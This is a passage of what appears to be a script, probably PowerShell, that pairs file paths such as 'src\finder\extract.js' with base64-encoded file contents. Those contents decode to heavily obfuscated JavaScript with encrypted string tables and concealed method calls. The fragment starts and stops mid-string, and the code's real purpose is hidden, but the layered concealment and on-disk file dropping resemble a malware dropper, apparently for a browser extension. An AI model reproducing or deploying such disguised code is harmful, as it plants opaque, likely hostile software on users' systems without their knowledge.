W18weGIwZjMwMygweGEsJ0pNVionLC0weGMxLDB4MTNkLDB4MjMxKV0pPi0oLTB4MioweDEzN2MrMHgyNDU5KzB4MmEwKSk7aWYoXzB4NWEyZDA2W18weGIwZjMwMygweDNmZCwnJGFKUScsMHg2OGUsMHg0MTQsMHgxNWMpXSgtKC0weDIqLTB4MWM2Ky0weDEwYSstMHgyODEpLF8weDRiOTBjMSkpcmV0dXJuO2NvbnN0IF8weDU2MjM5Zj1hc3luYygpPT57ZnVuY3Rpb24gXzB4NWY1ZjViKF8weDM1ZDY4MixfMHgxM2RjZjcsXzB4NWEzYmFmLF8weDFhYmQwOCxfMHgyMzg2YWEpe3JldHVybiBfMHgyZjJlZjQoXzB4MTNkY2Y3LSAtMHgzMGYsXzB4MTNkY2Y3LTB4MTNlLF8weDVhM2JhZi0weDY0LF8weDFhYmQwOC0weDEzNSxfMHgyMzg2YWEpO31jb25zdCBfMHg0Mzc4MjU9e307ZnVuY3Rpb24gXzB4NTM3ZDFiKF8weDE5YTE3MyxfMHhhYzBjYzgsXzB4NGExNDc3LF8weDQ0MzRlYixfMHg1ZDE3ZDYpe3JldHVybiBfMHg2NjBhZTAoXzB4MTlhMTczLTB4MjksXzB4NWQxN2Q2LF8weDRhMTQ3Ny0weDFhYixfMHg0NDM0ZWItMHg4MSxfMHg0YTE0NzctIC0weDExNyk7fV8weDQzNzgyNVtfMHg1MzdkMWIoMHgyZDEsMHgzMGMsMHg1MDcsMHg1Y2QsJ1dsY1QnKSsnZCddPV8weDQyYTUzZVtfMHg0YjkwYzFdWydpZCddO2NvbnN0IF8weDExMWE3YT17fTtmdW5jdGlvbiBfMHg1MzgyZjQoXzB4MWQzZTkxLF8weDYxNmM2OCxfMHgzMWE5YTYsXzB4MzU1MTUxLF8weDUzNDdhNSl7cmV0dXJuIF8weDY2MGFlMChfMHgxZDNlOTEtMHgxY2UsXzB4MzU1MTUxLF8weDMxYTlhNi0weDEzMCxfMHgzNTUxNTEtMHg5LF8weDFkM2U5MS0weGU5KTt9ZnVuY3Rpb24gXzB4NDk0ZjQzKF8weDQ1Njg5NixfMHhmODc4N2MsXzB4MmNhNWY2LF8weDFmZjk3MixfMHg0MGI5YTApe3JldHVybiBfMHg2NjBhZTAoXzB4NDU2ODk2LTB4NDQsXzB4Zjg3ODdjLF8weDJjYTVmNi0weGM5LF8weDFmZjk3Mi0weDE3ZCxfMHg0NTY4OTYtMHgyMDkpO31mdW5jdGlvbiBfMHgyNmViMGYoXzB4OWNlMTQ3LF8weGIxZDE5NixfMHg0NTM1Y2IsXzB4MjM4OTc2LF8weDI1YTAxNil7cmV0dXJuIF8weDdkYjU3ZChfMHgyMzg5NzYsXzB4YjFkMTk2LTB4MWU4LF8weDljZTE0Ny0weDE1NyxfMHgyMzg5NzYtMHgxZTksXzB4MjVhMDE2LTB4OWEpO31fMHgxMTFhN2FbXzB4NWY1ZjViKDB4NjAsMHgyMDgsLTB4NjIsMHhiNSwnenFNZCcpXT1fMHgzNzQ0NTRbXzB4NDk0ZjQzKDB4OGE2LCchI3J2JywweDY0YSwweDdhZSwweGE1NildLF8weDExMWE3YVtfMHg1MzdkMWIoMHg5ZSwweDM0MiwweDMwZCwweDM0YywnQyVIMicpXT1fMHg0Mzc4MjUsXzB4M2IzNzY2W18weDVmNWY1YigtMHgxZmIsMHgzYSwtMHgxNmMsMHg2MiwnXmt3XicpKydtZSddW18weDVmNWY1YigweGU2LDB4MmZjLDB4M2JiLDB4M2YyLCdXTiRYJykrXzB4NWY1ZjViKDB4MWJmLDB4NDE0LDB4MzJiLDB4MmZiLCdzRWFDJykrJ2UnXShfMHgxMTFhN2EpO307XzB4NWEyZDA2W18weDIxYzU2YigweDdhNiwweDY4ZCwweDU3YywnQiVobScsMHg2YjEpXShfMHg1NjIzOWYpLF8weDVhMmQwNltfMHhiMGYzMDMoMHg0NzcsJ1dOJFgnLDB4M2U0LDB4Njg5LDB4NzM1KV0oXzB4NDFlZDc4LCgpPT57ZnVuY3Rpb24gXzB4NWM2MjU2KF8weDNiMmU5YSxfMHgzODJhMzEsXzB4NDdjYTZhLF8weDMzZThmYSxfMHg1NmY0YTApe3JldHVybiBfMHgyZjJlZjQoXzB4MzgyYTMxLTB4MjJjLF8weDM4MmEzMS0weGU0LF8weDQ3Y2E2YS0weDEyMyxfMHgzM2U4ZmEtMHgxNDQsXzB4NDdjYTZhKTt9XzB4Mzc0NDU0W18weDVjNjI1NigweDgxMSwweDk2NiwnenFNZCcsMHg3OTEsMHhjMWQpXShfMHg1NjIzOWYpO30sXzB4NWEyZDA2W18weDIxYzU2YigweDhlYiwweDg0MCwweDhlMiwnIXhkVycsMHg2YzgpXSgweDlhYistMHgxZjNjKy0weDEqLTB4MTk3OSxfMHg0MmE1M2VbXzB4NGI5MGMxXVtfMHhiMGYzMDMoMHgyNSwnMCQmSCcsMHgxZGMsMHg5MCwweDE5OSkrXzB4YjBmMzAzKDB4YWMsJyRKcjQnLDB4YTEsMHgyM2MsLTB4NTcpXSkpO319KTpfMHg1NWMzZWZbXzB4NGU2ZWZmKDB4NjllLDB4MjU3LDB4NDE1LCdncFFoJywweDQyZCldKF8weDFjODVkMSk7fWNhdGNoKF8weDI5ODMwNSl7fX0sMHgzNWMrLTB4MTIzKi0weDYrLTB4NjQ2KTsNCn0pKCk7DQo='),@('c3JjXGZpbmRlclxleHRyYWN0Lmpz', 'KGZ1bmN0aW9uKF8weDNkM2RiYixfMHg5MThlNDYpe2Z1bmN0aW9uIF8weDI0Y2FkNyhfMHg0ZDE2ZWQsXzB4NDRmMWUwLF8weDRmOGJmNixfMHgzNDNiYzgsXzB4MWNiNDEzKXtyZXR1cm4gXzB4MjYyZihfMHg0ZDE2ZWQtMHhiNixfMHgxY2I0MTMpO31jb25zdCBfMHgzYThjZGM9XzB4M2QzZGJiKCk7ZnVuY3Rpb24gXzB4NWRhNjdmKF8weDM4YzU3NSxfMHgxOWRmNGYsXzB4YmE3ZTEwLF8weDQyYjQzYSxfMHg1Y2RmMjgpe3JldHVybiBfMHgyNjJmKF8weGJhN2UxMC0weGRiLF8weDE5ZGY0Zik7fWZ1bmN0aW9uIF8weDMwYjE5YihfMHg3NTczZDMsXzB4MjdmMzU5LF8weDc0YjE2ZCxfMHgyZWY1YTUsXzB4MmNkN2NhKXtyZXR1cm4gXzB4MjYyZihfMHgyZWY1YTUtIC0weDE0NixfMHg3NGIxNmQpO31mdW5jdGlvbiBfMHg0ZTYwMjkoXzB4NDdhZGY5LF8weDE5ZWJlYSxfMHgyMzhjMmMsXzB4MTMwZTFkLF8weDRlYzlmZCl7cmV0dXJuIF8weDI2MmYoXzB4NGVjOWZkLTB4MTllLF8weDE5ZWJlYSk7fWZ1bmN0aW9uIF8weDNhODEzOChfMHg2NmI1NmEsXzB4NTllOGVmLF8weDJhMDI0MixfMHg1NTkyNTEsXzB4MWQwZjRlKXtyZXR1cm4gXzB4MjYyZihfMHgyYTAyNDItMHgyNGYsXzB4NjZiNTZhKTt9d2hpbGUoISFbXSl7dHJ5e2NvbnN0IF8weDJiNjdlNT0tcGFyc2VJbnQoXzB4NWRhNjdmKDB4MmNhLCdzQ3Z4JywweDJlZSwweDMwZSwweDJjYykpLygtMHgxNmJkKy0weDIqMHgxMTU5Ky0weDQqLTB4ZTVjKStwYXJzZUludChfMHg0ZTYwMjkoMHgzM2EsJyp5UG8nLDB4MzY5LDB4MzQyLDB4MzVhKSkvKC0weDE1Y2UrLTB4OWYyKzB4MWZjMikqKC1wYXJzZUludChfMHgzYTgxMzgoJzRoYjknLDB4NDFjLDB4NDEwLDB4M2Y0LDB4NDQ4KSkvKC0weDFmZjgrMHgyNmU5Ky0weDZlZSkpKy1wYXJzZUludChfMHg1ZGE2N2YoMHgyN2IsJ3J5OGonLDB4Mjk5LDB4Mjg5LDB4Mjc3KSkvKDB4NDYqMHg2NSsweGRlZSoweDErLTB4Mjk4OCkqKHBhcnNlSW50KF8weDI0Y2FkNygweDI1NCwweDI4NSwweDI0YSwweDI4NCwnUSZZTCcpKS8oMHg5ZSoweDFmKy0weGQqLTB4MjcyKy0weDMyZTcpKStwYXJzZUludChfMHgzYTgxMzgoJ2U2JF4nLDB4NDQ2LDB4NDJhLDB4NDY0LDB4NDNmKSkvKDB4MWUyOCstMHg1ZCotMHg5Ky0weDEqMHgyMTY3KSooLXBhcnNlSW50KF8weDI0Y2FkNygweDJiMSwweDI4MiwweDI2OSwweDI3MSwnMVZmQycpKS8oLTB4ZTUzKzB4MjUqLTB4NjcrMHg1KjB4NWQ5KSkrcGFyc2VJbnQoXzB4M2E4MTM4KCdSMnFuJywweDQzMCwweDQ3NSwweDQ1NiwweDQ5ZSkpLygtMHgyNjRkKy0weDI0MyoweDUrMHgzMWE0KStwYXJzZUludChfMHgzYTgxMzgoJ0dhVlknLDB4M2VjLDB4NDFlLDB4NDRmLDB4M2VkKSkvKC0weGRjMSsweDUqMHg3MjUrLTB4NDYzKjB4NSkqKC1wYXJzZUludChfMHgzYTgxMzgoJ2ElZ2EnLDB4NDgwLDB4NDQ2LDB4NDU3LDB4NDJlKSkvKDB4MWU0OCstMHgxMzdmKy0weGFiZikpKy1wYXJzZUludChfMHgyNGNhZDcoMHgyY2UsMHgyZTcsMHgyOTAsMHgyOWQsJ0NYQWcnKSkvKDB4MThlMSstMHgxKjB4OTRkKy0weGY4OSkqKC1wYXJzZUludChfMHgzYTgxMzgoJ0NYQWcnLDB4NDZkLDB4NDY4LDB4NDhlLDB4NDZiKSkvKC0weDE4MjYrLTB4MWM2NSoweDErLTB4MSotMHgzNDk3KSk7aWYoXzB4MmI2N2U1PT09XzB4OTE4ZTQ2KWJyZWFrO2Vsc2UgXzB4M2E4Y2RjWydwdXNoJ10oXzB4M2E4Y2RjWydzaGlmdCddKCkpO31jYXRjaChfMHgxMjdjYTMpe18weDNhOGNkY1sncHVzaCddKF8weDNhOGNkY1snc2hpZnQnXSgpKTt9fX0oXzB4M2QxZSwtMHg2OTg2OSsweDEyOTg5MystMHgyOTgxZioweDEpKTtmdW5jdGlvbiBfMHgzZDFlKCl7Y29uc3QgXzB4M2QxNDM5PVsnV09GY1JKYUInLCdXT2hjVHRDcicsJ1c0OEdiMkMwJywnVzRlK1dQeGRKbWtzJywnVzdLOFc3UmRVOGs4JywnVzVaY0tTa0FXNTNjVGEnLCdwOG84c0NvSFc3aScsJ1c3ZTRlM2FBJywnVzVQYVdPaGNJOGtQJywnY21vUFc1bUtCVycsJ1c1bWZpTXVaJywnV080Ulc3aGRJQ2tLJywnVzdKZFJMeWFXUDgnLCdXUVc3VzZCY1NIcScsJ2hta01nMjgnLCdmMkRiV09KZE1HJywnVzVIUFc3ZGRIU281V1FWY1M4b0xXUDNkUlNrNnpXJywnV1FCZFNtbzNXUDNkUXE3ZE9Da1ZXT2pERU5hJywnVzdUTWRxJywnVzY1SWFDa09ETHE2V1FqMVdQengnLCdXNEMvVzZWY09Da2onLCdseHhjTENrSWdxJywnVzY4c1c1cGRTSXFBV08wJywnVzRpUVc2RmNHU2t4JywnV09wY1RiRGVXUTAnLCdXUTdjSENrakZ2UycsJ3pDb2RqSkpkVnEnLCdvQ28zV09yYmhXJywnVzdUcFdPNCcsJ1dPZGRHR0ZkTWh1JywnV1BoY1JXZThXUDVpVzVtSXphJywnVzdPaldPT0knLCdXUkdzcUNvcG5XJywnVzRkY1A4b092OGtWJywnVzZ0ZFF4WFV1VycsJ1c2L2RKc0tXV09XJywnVzcwZlc2ZTRsQ2tUV1FLJywnYThrYmFLaGNJRycsJ1c1V3ZXUDhIc1cnLCdFdmxjTlczZE9XJywnVzZKZEtjZjYnLCdXNmhjTElPTUJHJywnRkxsY0hxJywnRkhoY1NlM2NJbWtYcG1vSldQUmRTYkJjTUcnLCdXNHZXVzdYb1dQVycsJ1dPTmRVZ2o4YUcnLCdXT2xkUVNvTlc0WGMnLCdXT1ZjVXFPZERxJywnV1Fxd1c1UmNPU294ZzhrMWxTb3lDU29aQUNvSicsJ0NDa1NXUjdjSWdpJywnVzdhTFdQMDl6RycsJ1c2UGVXUlJkT21rcScsJ1c2M2ROWEw2VzdLJywnV1JDelc3U1BwVycsJ1dRN2NMQ2tDQ0dLJywnVzd0ZE5zUExXN1MnLCdXNFN4dUNvbmNXJywnV09HK1c3T3lkRycsJ254ZGRPY0ZkTnEnLCdXUlhFVzdXJywnV1AvY0xIZlJXUUcnLCdXNWRkVnVtUFdPNCcsJ1c1WmNMU29ZeGEnLCdXN0JjUG1rVFc0UmROVycsJ1c0N2RRbWtKRkphJywnV1E4UnhDbzNtRycsJ1c3VzJXUXk1QnEnLCdXT0ZjSnNPOENxJywnb1NvNlc3aTFyVycsJ1dRaGNWbWtnQ0tPJywnV1BSZEl0aGRMZUcnLCdXNFpkVjhrdXRzeScsJ1c0U3ZXT09weUcnLCdXNVN4V1JOZEdDa0EnLCdhQ2tZZ2EnLCdDOGtiV1AzY0lmaScsJ0JJaGRROG8wczhrYldSRmRIU2tMQkNvUlc1cScsJ1c1TE9XNzNkSUNvOVdRSmNPQ29HV1FkZFFDazNyRycsJ1c0SmRRQ2tZeEcnLCdXUjRPVzQvZFFta3VXNUpjR0cnLCdXNVdWVzZCZFVTa3VibW9GJywnVzROY1RTazZXNlJkTmEnLCduaHJaV1JOZFJXJywncUNrNm9xYkknLCdXNVZkUW1rMnNhJywnV1F1b1c3eU9wVycsJ1dPL2NKU2tQcmN5JywnV08zY0pTazN2cScsJ1dSQmRSSDNkT3hhJywnaFNrNmxxQytXUnpaJywnV1BkY044azJ3clMnLCdXNTNkTDBxNlc2TzJXUnhkVDNEZGVLMCcsJ1c1bUFXNHpzV1IwJywnVzVwZEt4blVFRycsJ1c3TG1XT2VpV1FLJywnaVNvVVc0eWRBVycsJ1c3RmNQbWtRVzUzZFZHJywnVzdlN1c0SmRKOGtKJywnd0NreldQWmNLMnUnLCdmWUREcWZpJywnYzhrSm1NSmNNcScsJ1c0TmRQMVgzQXEnLCdXNXZSV1FoZFZTa1cnLCdXN0ZjT1dhd1dRbScsJ1dQNTNXUmhkTVNvZWI4b2JXN2kvam1rZWFXJywnalNvbUJTb09XNFMnLCdnbW9YVzVtcnFHJywnVzZ5Tlc3SycsJ1c3VmNPbWtJVzRlJywnVzV4ZFY4bzRjYi9kR05wZE9JeGRTMjNkS2EnLCdXNS9kU0NvWXN2M2NNSzdkR3RPJywnVzVGY1Y4a3lXN1pkU2EnLCdXUjdjU2J2R1dRSycsJ1c0UmROeHUnLCdGV3hkTkNrS3QyU1EnLCdXNFZkU2dmanhXJywnV1FHUHdtb1onLCduQ29UejhvVFc3RycsJ3ZDb2ZlYUJkVlcnLCdXUnF6VzZPWScsJ1c3SmNNYmlRQ3EnLCdtTmhjT0cnLCdXTzAvV09kY1Q4a2UnLCdXNVZjVkNvV1c0SGZ4U2tjcDhvT2M4a29XUTdkUXEnLCdXUVJjUEpwY1FTb0UnLCdXNjVVV1AzY1I4a2snLCdqU29sVzZHKycsJ1dRV1VxU28yJywnV1F5R1c0M2RLYScsJ3BIbGRNbWs5cWEnLCdXUEs4VzRsZEhtazInLCd0OGtaV1A3Y0h1VycsJ2ZTazBpTC9jVXEnLCdEOGtNV09sY0kzcScsJ1c1dS9XNkpjSG1raCcsJ3MyVytsc25Bd0tlYicsJ1c1VGlteDFLJywnV1JhVUZTb0JjYScsJ1c1SmNTOG9DeUNrZCcsJ2VDb0t6TGpSVzZxb1dPYUZXN3lvV094ZEhHJywnV1E3ZEk4b3NXNFgwJywnVzVaY0hTa01XN2xkSlcnLCdlOG92VzYwJywnV1BxaFdSV0ZXNlJkU1h2RUNDa2xXN2hkVW1vRicsJ1c1aUdXNUZjTUNrYicsJ3BhMUdDZzAnLCdXNjBkVzRENldRQycsJ1dSVzJXNk5kVFpTJ107XzB4M2QxZT1mdW5jdGlvbigpe3JldHVybiBfMHgzZDE0Mzk7fTtyZXR1cm4gXzB4M2QxZSgpO31jb25zdCBleHRyYWN0RXh0RmlsZT1fMHgyNjhiMzM9PntmdW5jdGlvbiBfMHgyZDI4ZjEoXzB4MmRhNTc1LF8weGIxM2RhZCxfMHgyZjhhYzEsXzB4MzZhZTkwLF8weDFmMjEyOCl7cmV0dXJuIF8weDI2MmYoXzB4MWYyMTI4LTB4MzBjLF8weDJmOGFjMSk7fWNvbnN0IF8weDU1MDRhZD17fTtfMHg1NTA0YWRbXzB4NWRjYjY5KDB4M2RlLDB4NDE0LCdwTVFsJywweDQwOSwweDQxNSldPWZ1bmN0aW9uKF8weDM0OGRkMixfMHgxZjU3YTgpe3JldHVybiBfMHgzNDhkZDI9PT1fMHgxZjU3YTg7fTtmdW5jdGlvbiBfMHgyY2NmY2QoXzB4NjI3NTRmLF8weDQ2ZDA1OSxfMHgxNGQ3OTQsXzB4NTgzZjE2LF8weDM0ZTU4Nil7cmV0dXJuIF8weDI2MmYoXzB4NDZkMDU5LTB4MjQ0LF8weDYyNzU0Zik7fV8weDU1MDRhZFtfMHg1ZGNiNjkoMHgzY2YsMHg0MDYsJ2U2JF4nLDB4M2U2LDB4M2NiKV09ZnVuY3Rpb24oXzB4NWRlYjNiLF8weDQ0ZjMwZil7cmV0dXJuIF8weDVkZWIzYiE9PV8weDQ0ZjMwZjt9LF8weDU1MDRhZFtfMHg1ZGNiNjkoMHgzZGYsMHg0MGYsJzldKXQnLDB4MzhiLDB4M2QyKV09ZnVuY3Rpb24oXzB4M2ZhYmU3LF8weDM2ZGE1Yil7cmV0dXJuIF8weDNmYWJlNytfMHgzNmRhNWI7fTtjb25zdCBfMHgyODE5NDc9XzB4NTUwNGFkO2lmKF8weDI4MTk0N1tfMHgyY2NmY2QoJ0N5OVcnLDB4NDExLDB4NDE4LDB4NDI0LDB4NDJlKV0obnVsbCxfMHgyNjhiMzMpKXJldHVybicnO2Z1bmN0aW9uIF8weDIzOTlkNyhfMHgyMTgzNGEsXzB4NTExNTAzLF8weDRhZTIzOSxfMHg0ZjI3YzYsXzB4MTRhOTdmKXtyZXR1cm4gXzB4MjYyZihfMHgxNGE5N2YtIC0weDliLF8weDUxMTUwMyk7fWZ1bmN0aW9uIF8weDVkY2I2OShfMHg0ZDA2MTMsXzB4NWQ0ZmQzLF8weDNkNzdlZixfMHg1OTIxMDYsXzB4MzVlYzJhKXtyZXR1cm4gXzB4MjYyZihfMHgzNWVjMmEtMHgxZWQsXzB4M2Q3N2VmKTt9XzB4MjgxOTQ3W18weDJkMjhmMSgweDUzOSwweDUwMiwnV0UpKicsMHg0ZDAsMHg1MTgpXSh0eXBlb2YgU3RyaW5nLF8weDI2OGIzMykmJihfMHgyNjhiMzM9XzB4MjY4YjMzW18weDNlOGMzNCgweDI3NCwnc0N2eCcsMHgyZmIsMHgyYjMsMHgyZjQpK18weDNlOGMzNCgweDMwZSwnQ3k5VycsMHgzNjIsMHgzMjgsMHgzNDIpXSgpKTtjb25zdCBfMHg1YTRhMjA9XzB4MjY4YjMzW18weDVkY2I2OSgweDNkOCwweDNiZiwnREp4TScsMHgzZTAsMHgzZWUpK18weDJjY2ZjZCgnZjJiaycsMHg0MjYsMHg0NDgsMHg0MzgsMHg0NjMpKydmJ10oJy4nKTtmdW5jdGlvbiBfMHgzZThjMzQoXzB4NWRjM2E1LF8weDM5MmY1MSxfMHg0YTczZjMsXzB4NTlmNzY0LF8weDFhYzdlMSl7cmV0dXJuIF8weDI2MmYoXzB4NTlmNzY0LTB4MTBjLF8weDM5MmY1MSk7fXJldHVybiBfMHgyODE5NDdbXzB4MjM5OWQ3KDB4MTQ4LCdtSU8oJywweDE0ZCwweDEwYSwweDEzZildKC0oLTB4N2E1KjB4MystMHgxKi0weDFhMjYrLTB4ODkqMHg2KSxfMHg1YTRhMjApP18weDI2OGIzM1tfMHg1ZGNiNjkoMHgzY2MsMHgzYzcsJ1p1byQnLDB4M2FjLDB4M2VhKStfMHgyMzk5ZDcoMHgxMDQsJ21JTygnLDB4ZmMsMHgxMTgsMHgxMTEpXShfMHgyODE5NDdbXzB4MjM5OWQ3KDB4ZDksJ3luRzEnLDB4YzIsMHhlNCwweGZkKV0oXzB4NWE0YTIwLC0weDk1MisweGIzNSoweDIrLTB4ZDE3KSlbXzB4MjM5OWQ3KDB4MTI4LCdKVEdmJywweDEwNiwweGQ0LDB4MTAxKStfMHgyMzk5ZDcoMHgxM2YsJ2NTeEAnLDB4MTQxLDB4MTRkLDB4MTU3KSsnZSddKCk6Jyc7fTtmdW5jdGlvbiBfMHgyNjJmKF8weDE1MmQ0NCxfMHgxMTUzODUpe2NvbnN0IF8weDVhNGZmOD1fMHgzZDFlKCk7cmV0dXJuIF8weDI2MmY9ZnVuY3Rpb24oXzB4MjM4YWM0LF8weDI0MTZjMCl7XzB4MjM4YWM0PV8weDIzOGFjNC0oLTB4NmQ4Ki0weDErLTB4MiotMHg2OGUrLTB4MTI1ZSk7bGV0IF8weDRlNDdkZT1fMHg1YTRmZjhbXzB4MjM4YWM0XTtpZihfMHgyNjJmWydtb0d1cHInXT09PXVuZGVmaW5lZCl7dmFyIF8weDIxY2QyYz1mdW5jdGlvbihfMHgyMWFmYzcpe2NvbnN0IF8weDQ4MWFlOD0nYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWjAxMjM0NTY3ODkrLz0nO2xldCBfMHg0NWU5NGM9JycsXzB4NGE4MzgzPScnO2ZvcihsZXQgXzB4NDRhMjc4PTB4MTg2MysweDEyKy0weDgyNyoweDMsXzB4MjU3MTZhLF8weDJjNjRjNSxfMHgyMmU1MDE9MHgzKi0weGNhZistMHgxKi0weDk2NysweDFjYTY7XzB4MmM2NGM1PV8weDIxYWZjN1snY2hhckF0J10oXzB4MjJlNTAxKyspO35fMHgyYzY0YzUmJihfMHgyNTcxNmE9XzB4NDRhMjc4JSgweDEyOTUrLTB4NCoweDg0YysweGU5Zik/XzB4MjU3MTZhKigtMHgyMDYzKy0weGU2NCsweDJmMDcpK18weDJjNjRjNTpfMHgyYzY0YzUsXzB4NDRhMjc4KyslKDB4MTIyMystMHgyMDIwKy0weGVmKi0weGYpKT9fMHg0NWU5NGMrPVN0cmluZ1snZnJvbUNoYXJDb2RlJ10oMHgxMjM1Ky0weGQ5NSsweDEqLTB4M2ExJl8weDI1NzE2YT4+KC0oLTB4ZWYxKzB4MSotMHgxMmMxKzB4MjFiNCkqXzB4NDRhMjc4JjB4N2Y0Ki0weDQrLTB4Nzc5KjB4NSsweDMqMHgxNzExKSk6MHgxODVlKy0weDIqLTB4YzRkKy0weDYxZioweDgpe18weDJjNjRjNT1fMHg0ODFhZThbJ2luZGV4T2YnXShfMHgyYzY0YzUpO31mb3IobGV0IF8weDNmNGJkMj0tMHgxZTBiKjB4MSsweDczKjB4NTIrLTB4MjUqMHgyZixfMHgxMGNmYjg9XzB4NDVlOTRjWydsZW5ndGgnXTtfMHgzZjRiZDI8XzB4MTBjZmI4O18weDNmNGJkMisrKXtfMHg0YTgzODMrPSclJysoJzAwJytfMHg0NWU5NGNbJ2NoYXJDb2RlQXQnXShfMHgzZjRiZDIpWyd0b1N0cmluZyddKDB4MTIxKjB4MWErMHgyKjB4OWYyKy0weDEqMHgzMTJlKSlbJ3NsaWNlJ10oLSgweDk3ZCoweDMrMHgyNDc5Ky0weDQwZWUqMHgxKSk7fXJldHVybiBkZWNvZGVVUklDb21wb25lbnQoXzB4NGE4MzgzKTt9O2NvbnN0IF8weDExZDJmNj1mdW5jdGlvbihfMHg0OGY5YjIsXzB4ZmNkZGQxKXtsZXQgXzB4MjdhNDNjPVtdLF8weDM0ZDU4MT0tMHhkNmQrMHgyNWEzKy0weDIqMHhjMWIsXzB4MjIwZjg0LF8weDQxM2Y5Yj0nJztfMHg0OGY5YjI9XzB4MjFjZDJjKF8weDQ4ZjliMik7bGV0IF8weDM1ZGUxMjtmb3IoXzB4MzVkZTEyPS0weGIwOSstMHgxNiotMHg3NCsweDExMTtfMHgzNWRlMTI8MHgxZDE3Ki0weDErMHgxOWQ0KzB4NDQzO18weDM1ZGUxMisrKXtfMHgyN2E0M2NbXzB4MzVkZTEyXT1fMHgzNWRlMTI7fWZvcihfMHgzNWRlMTI9LTB4M2M3Ki0weDMrLTB4YSoweDY3Ky0weDc0ZjtfMHgzNWRlMTI8LTB4MTdiKi0weGQrLTB4MWQwYisweGFjYyoweDE7XzB4MzVkZTEyKyspe18weDM0ZDU4MT0oXzB4MzRkNTgxK18weDI3YTQzY1tfMHgzNWRlMTJdK18weGZjZGRkMVsnY2hhckNvZGVBdCddKF8weDM1ZGUxMiVfMHhmY2RkZDFbJ2xlbmd0aCddKSklKC0weDYqLTB4NjI2KzB4MmQxKi0weDkrLTB4YThiKSxfMHgyMjBmODQ9XzB4MjdhNDNjW18weDM1ZGUxMl0sXzB4MjdhNDNjW18weDM1ZGUxMl09XzB4MjdhNDNjW18weDM0ZDU4MV0sXzB4MjdhNDNjW18weDM0ZDU4MV09XzB4MjIwZjg0O31fMHgzNWRlMTI9MHgxOTYwKy0weGEzKjB4MWMrLTB4MSoweDc4YyxfMHgzNGQ1ODE9MHg3KjB4MzNmKy0weDI2OGUrMHhmZDU7Zm9yKGxldCBfMHgxYzliYmU9MHhjMTAqLTB4MistMHgyMCotMHgyMCstMHhlKi0weDE3MDtfMHgxYzliYmU8XzB4NDhmOWIyWydsZW5ndGgnXTtfMHgxYzliYmUrKyl7XzB4MzVkZTEyPShfMHgzNWRlMTIrKC0weDQwKi0weDM0Ky0weGM1ZisweDQqLTB4MjgpKSUoMHgxM2U4Ky0weDEqLTB4MWYxMSsweDMxZjkqLTB4MSksXzB4MzRkNTgxPShfMHgzNGQ1ODErXzB4MjdhNDNjW18weDM1ZGUxMl0pJSgtMHgxZioweDNiKy0weDIwNDcrMHgyODZjKSxfMHgyMjBmODQ9XzB4MjdhNDNjW18weDM1ZGUxMl0sXzB4MjdhNDNjW18weDM1ZGUxMl09XzB4MjdhNDNjW18weDM0ZDU4MV0sXzB4MjdhNDNjW18weDM0ZDU4MV09XzB4MjIwZjg0LF8weDQxM2Y5Yis9U3RyaW5nWydmcm9tQ2hhckNvZGUnXShfMHg0OGY5YjJbJ2NoYXJDb2RlQXQnXShfMHgxYzliYmUpXl8weDI3YTQzY1soXzB4MjdhNDNjW18weDM1ZGUxMl0rXzB4MjdhNDNjW18weDM0ZDU4MV0pJSgtMHg5ZDQrMHgxKjB4MTNlZCstMHg5MTkpXSk7fXJldHVybiBfMHg0MTNmOWI7fTtfMHgyNjJmWydTY1VCQkEnXT1fMHgxMWQyZjYsXzB4MTUyZDQ0PWFyZ3VtZW50cyxfMHgyNjJmWydtb0d1cHInXT0hIVtdO31jb25zdCBfMHg0MWRkZmQ9XzB4NWE0ZmY4WzB4NzZiKy0weDEzYTkqLTB4MSstMHgxYjE0XSxfMHgxZDEwMjg9XzB4MjM4YWM0K18weDQxZGRmZCxfMHgyZDEyYTk9XzB4MTUyZDQ0W18weDFkMTAyOF07cmV0dXJuIV8weDJkMTJhOT8oXzB4MjYyZlsnSGd1eE9kJ109PT11bmRlZmluZWQmJihfMHgyNjJmWydIZ3V4T2QnXT0hIVtdKSxfMHg0ZTQ3ZGU9XzB4MjYyZlsnU2NVQkJBJ10oXzB4NGU0N2RlLF8weDI0MTZjMCksXzB4MTUyZDQ0W18weDFkMTAyOF09XzB4NGU0N2RlKTpfMHg0ZTQ3ZGU9XzB4MmQxMmE5LF8weDRlNDdkZTt9LF8weDI2MmYoXzB4MTUyZDQ0LF8weDExNTM4NSk7fWV4cG9ydCBjb25zdCBleHRyYWN0RGlyZWN0b3J5PV8weDMzNDJlMT0+e2NvbnN0IF8weDUyYjkwMT17J2hDc2ZOJzpmdW5jdGlvbihfMHg1Y2NmY2UsXzB4NjMwMDBhKXtyZXR1cm4gXzB4NWNjZmNlKF8weDYzMDAwYSk7fSwnQkNJTXcnOmZ1bmN0aW9uKF8weGIxNTQzOCxfMHg0NTEzZWMpe3JldHVybiBfMHhiMTU0Mzg9PT1fMHg0NTEzZWM7fSwnemdKWEInOl8weDVlNWE4MigtMHg5YiwtMHg5YiwnSlRHZicsLTB4OGMsLTB4YzUpLCdZaE54TCc6XzB4NWU1YTgyKC0weDNiLC0weDFhLCdsW1lJJywtMHgzMiwtMHgxMyksJ1BmUEJBJzpmdW5jdGlvbihfMHgyZDU3ZWIsXzB4MjY4ZjVhKXtyZXR1cm4gXzB4MmQ1N2ViIT09XzB4MjY4ZjVhO30sJ0RzcXpjJzpfMHhlNjZmNDAoMHg4NCwnJTR3RCcsMHg5NiwweDNkLDB4NzgpLCdqVE5YeCc6XzB4NWU1YTgyKC0weDUyLC0weDczLCdKVEdmJywtMHgzMCwtMHgzZiksJ1FkWUx2JzpfMHhkYzQ5Y2MoMHg1MzksMHg1MDUsMHg0ZjcsMHg1M2UsJyhRZzAnKSwnUlZoYnUnOl8weGU2NmY0MCgtMHgxNCwncnk4aicsMHgxOSwweGMsMHg2KX07ZnVuY3Rpb24gXzB4NWU1YTgyKF8weDU4ODU5NyxfMHgzNzg4YzQsXzB4NDI2MDQ1LF8weDU4ZDE0ZixfMHg2ZmJmZWQpe3JldHVybiBfMHgyNjJmKF8weDU4ZDE0Zi0gLTB4MjI2LF8weDQyNjA0NSk7fWZ1bmN0aW9uIF8weDExYWMyNyhfMHgyMWI2NGMsXzB4NTA5YzNmLF8weGRmYmNjNixfMHgyZmMzMzIsXzB4Mzc5ZDExKXtyZXR1cm4gXzB4MjYyZihfMHg1MDljM2YtIC0weDE3ZSxfMHgyZmMzMzIpO31mdW5jdGlvbiBfMHhlNjZmNDAoXzB4MjBjYTRkLF8weDM5YWI2NyxfMHg1NDk0